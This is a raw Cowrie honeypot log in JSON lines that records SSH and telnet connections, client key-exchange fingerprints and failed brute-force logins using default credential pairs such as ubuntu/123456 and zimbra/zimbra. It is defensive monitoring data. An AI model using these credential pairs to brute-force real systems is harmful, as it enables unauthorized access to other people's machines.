{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:28.008334Z","src_ip":"176.65.139.95","session":"19f479c256eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44322,"dst_ip":"159.203.135.109","dst_port":22,"session":"10ad9cada0ea","protocol":"ssh","message":"New connection: 192.109.200.78:44322 (159.203.135.109:22) [session: 10ad9cada0ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:28.022375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:28.025871Z","src_ip":"192.109.200.78","session":"10ad9cada0ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:28.111023Z","src_ip":"192.109.200.78","session":"10ad9cada0ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:28.272871Z","src_ip":"176.65.139.95","session":"19f479c256eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:28.639252Z","src_ip":"192.109.200.78","session":"10ad9cada0ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:29.585039Z","src_ip":"176.65.139.95","session":"19f479c256eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:29.736914Z","src_ip":"192.109.200.78","session":"10ad9cada0ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.252.78.49","src_port":32061,"dst_ip":"159.203.135.109","dst_port":23,"session":"13808e9c956b","protocol":"telnet","message":"New connection: 212.252.78.49:32061 (159.203.135.109:23) [session: 13808e9c956b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:30.018149Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46678,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9977bfee152","protocol":"ssh","message":"New connection: 192.109.200.78:46678 (159.203.135.109:22) [session: f9977bfee152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:31.833221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:31.841624Z","src_ip":"192.109.200.78","session":"f9977bfee152","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:31.928465Z","src_ip":"192.109.200.78","session":"f9977bfee152","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@1234","message":"login attempt [ubuntu/ubuntu@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:32.640826Z","src_ip":"192.109.200.78","session":"f9977bfee152","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50778,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a7b1d699e50","protocol":"ssh","message":"New connection: 159.203.92.129:50778 (159.203.135.109:22) [session: 7a7b1d699e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:33.358769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:33.363608Z","src_ip":"159.203.92.129","session":"7a7b1d699e50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:33.368850Z","src_ip":"159.203.92.129","session":"7a7b1d699e50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Mawenjuan","password":"Mawenjuan123","message":"login attempt [Mawenjuan/Mawenjuan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:33.382230Z","src_ip":"159.203.92.129","session":"7a7b1d699e50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:33.731068Z","src_ip":"192.109.200.78","session":"f9977bfee152","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:34.388647Z","src_ip":"159.203.92.129","session":"7a7b1d699e50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42116,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7472afceb2b","protocol":"ssh","message":"New connection: 176.65.139.95:42116 (159.203.135.109:22) [session: b7472afceb2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:35.143979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:35.155067Z","src_ip":"176.65.139.95","session":"b7472afceb2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:35.241168Z","src_ip":"176.65.139.95","session":"b7472afceb2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:35.628586Z","src_ip":"176.65.139.95","session":"b7472afceb2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46688,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1fd4f8d79f5","protocol":"ssh","message":"New connection: 192.109.200.78:46688 (159.203.135.109:22) [session: a1fd4f8d79f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:35.814666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:35.819378Z","src_ip":"192.109.200.78","session":"a1fd4f8d79f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:35.901472Z","src_ip":"192.109.200.78","session":"a1fd4f8d79f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:36.148032Z","src_ip":"192.109.200.78","session":"a1fd4f8d79f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:36.718337Z","src_ip":"176.65.139.95","session":"b7472afceb2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:37.232594Z","src_ip":"192.109.200.78","session":"a1fd4f8d79f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58544,"dst_ip":"159.203.135.109","dst_port":22,"session":"db74dc897af3","protocol":"ssh","message":"New connection: 192.109.200.78:58544 (159.203.135.109:22) [session: db74dc897af3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:39.722804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:39.727373Z","src_ip":"192.109.200.78","session":"db74dc897af3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:39.812210Z","src_ip":"192.109.200.78","session":"db74dc897af3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:40.063807Z","src_ip":"192.109.200.78","session":"db74dc897af3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:41.153463Z","src_ip":"192.109.200.78","session":"db74dc897af3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":63078,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b6f9e312a48","protocol":"ssh","message":"New connection: 177.54.62.66:63078 (10.17.0.5:22) [session: 5b6f9e312a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:42.057424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:42.061360Z","src_ip":"177.54.62.66","session":"5b6f9e312a48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":56458,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e6a7aedd8d3","protocol":"ssh","message":"New connection: 176.65.139.95:56458 (159.203.135.109:22) [session: 0e6a7aedd8d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:42.186131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:42.190763Z","src_ip":"176.65.139.95","session":"0e6a7aedd8d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:42.196907Z","src_ip":"177.54.62.66","session":"5b6f9e312a48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa",